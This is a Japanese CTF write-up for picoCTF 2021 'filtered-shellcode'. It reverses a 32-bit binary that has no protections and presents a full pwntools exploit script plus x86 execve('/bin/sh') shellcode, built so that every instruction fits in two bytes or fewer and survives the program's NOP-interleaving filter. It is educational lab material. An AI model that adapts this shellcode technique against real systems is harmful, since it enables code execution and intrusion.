シェルコードを入力してシェルをとる
picoCTF 2021の「filtered-shellcode」。
シェルコードを注入してシェルをとるいつものpwnとは少し違った問題(シェルコードの各命令を2バイト以下に抑えなくてはいけないという制限がある)。
またpwntoolsのshellcraftを初めて使った。
プログラムの概要
文字入力を待ち受ける。何か文字入力してみてもうまく動かない。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./fun Give me code to run:
セキュリティ機構はすべて解除された32bitプログラム
┌──(shoebill㉿shoebill)-[~/pwn] └─$ checksec ./fun [*] '/home/shoebill/pwn/fun' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
プログラムの解析
バイナリfun
しか与えられない。とりあえずGhidraでデコンパイルしてみる。
undefined4 main(void) { int iVar1; char local_3fd [1000]; char local_15; uint local_14; undefined *local_10; local_10 = &stack0x00000004; setbuf(stdout,(char *)0x0); local_14 = 0; local_15 = 0; puts("Give me code to run:"); iVar1 = fgetc(stdin); local_15 = (char)iVar1; for (; (local_15 != '\n' && (local_14 < 1000)); local_14 = local_14 + 1) { local_3fd[local_14] = local_15; iVar1 = fgetc(stdin); local_15 = (char)iVar1; } if ((local_14 & 1) != 0) { local_3fd[local_14] = -0x70; local_14 = local_14 + 1; } execute(local_3fd,local_14); return 0; }
main
関数の最後でexecute
なる関数が実行されてる
execute
関数のデコンパイル:
void execute(int param_1,int param_2) { int iVar1; int iVar2; uint uVar3; undefined4 uStack48; undefined auStack44 [8]; undefined *local_24; undefined *local_20; uint local_1c; uint local_18; int local_14; uint i; uStack48 = 0x8048502; if ((param_1 != 0) && (param_2 != 0)) { local_18 = param_2 * 2; local_1c = local_18; iVar1 = ((local_18 + 0x10) / 0x10) * -0x10; local_20 = auStack44 + iVar1; local_14 = 0; for (i = 0; iVar2 = local_14, i < local_18; i = i + 1) { uVar3 = (uint)((int)i >> 0x1f) >> 0x1e; if ((int)((i + uVar3 & 3) - uVar3) < 2) { local_14 = local_14 + 1; auStack44[i + iVar1] = *(undefined *)(param_1 + iVar2); } else { auStack44[i + iVar1] = 0x90; } } auStack44[local_18 + iVar1] = 0xc3; local_24 = auStack44 + iVar1; *(undefined4 *)(auStack44 + iVar1 + -4) = 0x80485cb; (*(code *)(auStack44 + iVar1))(); return; } /* WARNING: Subroutine does not return */ exit(1); }
execute
関数の最後にあるcode
が気になる。
execute
関数をディスアセンブルした結果:
gdb-peda$ disas execute Dump of assembler code for function execute: ... 0x080485c9 <+211>: call eax 0x080485cb <+213>: mov esp,ebx 0x080485cd <+215>: nop 0x080485ce <+216>: mov ebx,DWORD PTR [ebp-0x4] 0x080485d1 <+219>: leave 0x080485d2 <+220>: ret End of assembler dump.
call eax
の部分がcode
に対応していると考えられる。
そこにブレークポイントを打つ。入力に"abcdefghijklmn"を与えてやると...
与えた"abcdefghijklmn"を2バイトずつ区切って\x90で埋めてシェルコードとして実行する(call eax
)。
(スタックを見てわかるように、0x90906261から0x90906e6dまでをシェルコードとして実行したのちに、次の命令mov DWORD PTR [ebp-0x20],eax
を実行する)
si
コマンドでcall eax
の中に入って命令を見ると
popa
を実行すると
(popa
はDI, SI, BP, BX, DX, CX, AXの順に格納していく)
exploit
#!/usr/bin/env python3 import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './fun' binf = ELF(bin_file, checksec = False) context.binary = binf def attack(conn): shellcode = ''' xor eax, eax push eax push eax mov edi, esp mov al, 0x2f add [edi], al inc edi nop mov al, 0x62 add [edi], al inc edi nop mov al, 0x69 add [edi], al inc edi nop mov al, 0x6e add [edi], al inc edi nop mov al, 0x2f add [edi], al inc edi nop mov al, 0x73 add [edi], al inc edi nop mov al, 0x68 add [edi], al inc edi nop xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xb mov ebx, esp int 0x80 ''' conn.sendlineafter('Give me code to run:\n', asm(shellcode)) def main(): conn = process(bin_file) #conn = remote('mercury.picoctf.net', 35338) attack(conn) conn.interactive() if __name__ == '__main__': main()
シェルコードの部分について詳しくみていく。
(32bit)シェルを起動するシェルコード、ここではexecve('/bin/sh', 0, 0)
をsyscallする。なので以下のように設定すればよい:
- eaxレジスタにexecveのシステムコール番号11を格納する
- ebxレジスタに、文字列"/bin/sh"のアドレスを格納する
- ecx, edxレジスタを0にする
- 最後に
int 0x80
でsyscallする
ちなみにシステムコール番号はコマンドで確認することが可能:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ausyscall i686 --dump | grep 'execve' 11 execve 358 execveat
以上を踏まえてざっと次のように書ける
xor eax, eax push eax push eax push 'n/sh' push '/bi' mov ebx, esp xor ecx, ecx xor edx, edx mov al, 11 int 0x80
nullバイトを出現させないためにxorによる0クリアやalレジスタの使用を行う。 (ここら辺のテクニックは策謀本の0x500にも書いてある)
しかしこのプログラムでは、入力が\x90によって2バイトずつに区切られてしまうから、2バイト以下の命令を使ってシェルコード書く必要がある。
また1バイトの命令については適宜NOP(\x90)を挟んで帳尻を合わせる。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ echo -n '/bin/sh' | xxd 00000000: 2f62 696e 2f73 68 /bin/sh
そこで以下のように書き換える
xor eax, eax ; eaxレジスタの0クリア push eax ; 文字列"/bin/sh"の為のスペース push eax ; 文字列"/bin/sh"の為のスペース mov edi, esp ; 後に[]の間接演算でアクセスする為にediをスタックトップとして設定しおく mov al, 0x2f ; "/bin/sh"という文字列の一文字目のスラッシュをeaxレジスタの下位8ビットに格納 add [edi], al ; この間接演算でスタックの先頭1バイトに"/"が格納される inc edi ; ediレジスタをインクリメントして次のアドレスを指すようにする nop ; `inc edi`で1バイトだから、2バイトに揃えるためのnop mov al, 0x62 ; 以下、この調子で一文字ずつ"/bin/sh"の文字列を格納していく add [edi], al inc edi nop ... mov al, 0x68 add [edi], al inc edi nop xor ebx, ebx ; 各レジスタを0にする xor ecx, ecx xor edx, edx mov al, 0xb ; execveのシステムコール番号を格納 mov ebx, esp ; スタック先頭のアドレスすなわち、文字列/bin/shのアドレスをebxレジスタに設定する int 0x80 ; syscall
pwntoolsのshellcraftでみた様子:
>>> shellcode = ''' ...: xor eax, eax ...: push eax ...: push eax ...: mov edi, esp ...: ...: mov al, 0x2f ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x62 ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x69 ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x6e ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x2f ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x73 ...: add [edi], al ...: inc edi ...: nop ...: ...: mov al, 0x68 ...: add [edi], al ...: inc edi ...: nop ...: ...: xor ebx, ebx ...: xor ecx, ecx ...: xor edx, edx ...: ...: mov al, 0xb ...: mov ebx, esp ...: ...: int 0x80 ...: ''' >>> print(asm(shellcode)) b'1\xc0PP\x89\xe7\xb0/\x00\x07G\x90\xb0b\x00\x07G\x90\xb0i\x00\x07G\x90\xb0n\x00\x07G\x90\xb0/\x00\x07G\x90\xb0s\x00\x07G\x90\xb0h\x00\x07G\x901\xdb1\xc91\xd2\xb0\x0b\x89\xe3\xcd\x80' >>> print(disasm(b'1\xc0PP\x89\xe7\xb0/\x00\x07G\x90\xb0b\x00\x07G\x90\xb0i\x00\x07G\x90\xb0n\x00\x07G\x90 ...: \xb0/\x00\x07G\x90\xb0s\x00\x07G\x90\xb0h\x00\x07G\x901\xdb1\xc91\xd2\xb0\x0b\x89\xe3\xcd\x80')) 0: 31 c0 xor eax, eax 2: 50 push eax 3: 50 push eax 4: 89 e7 mov edi, esp 6: b0 2f mov al, 0x2f 8: 00 07 add BYTE PTR [edi], al a: 47 inc edi b: 90 nop c: b0 62 mov al, 0x62 e: 00 07 add BYTE PTR [edi], al 10: 47 inc edi 11: 90 nop 12: b0 69 mov al, 0x69 14: 00 07 add BYTE PTR [edi], al 16: 47 inc edi 17: 90 nop 18: b0 6e mov al, 0x6e 1a: 00 07 add BYTE PTR [edi], al 1c: 47 inc edi 1d: 90 nop 1e: b0 2f mov al, 0x2f 20: 00 07 add BYTE PTR [edi], al 22: 47 inc edi 23: 90 nop 24: b0 73 mov al, 0x73 26: 00 07 add BYTE PTR [edi], al 28: 47 inc edi 29: 90 nop 2a: b0 68 mov al, 0x68 2c: 00 07 add BYTE PTR [edi], al 2e: 47 inc edi 2f: 90 nop 30: 31 db xor ebx, ebx 32: 31 c9 xor ecx, ecx 34: 31 d2 xor edx, edx 36: b0 0b mov al, 0xb 38: 89 e3 mov ebx, esp 3a: cd 80 int 0x80
各命令が2バイト以下になっていることがわかる。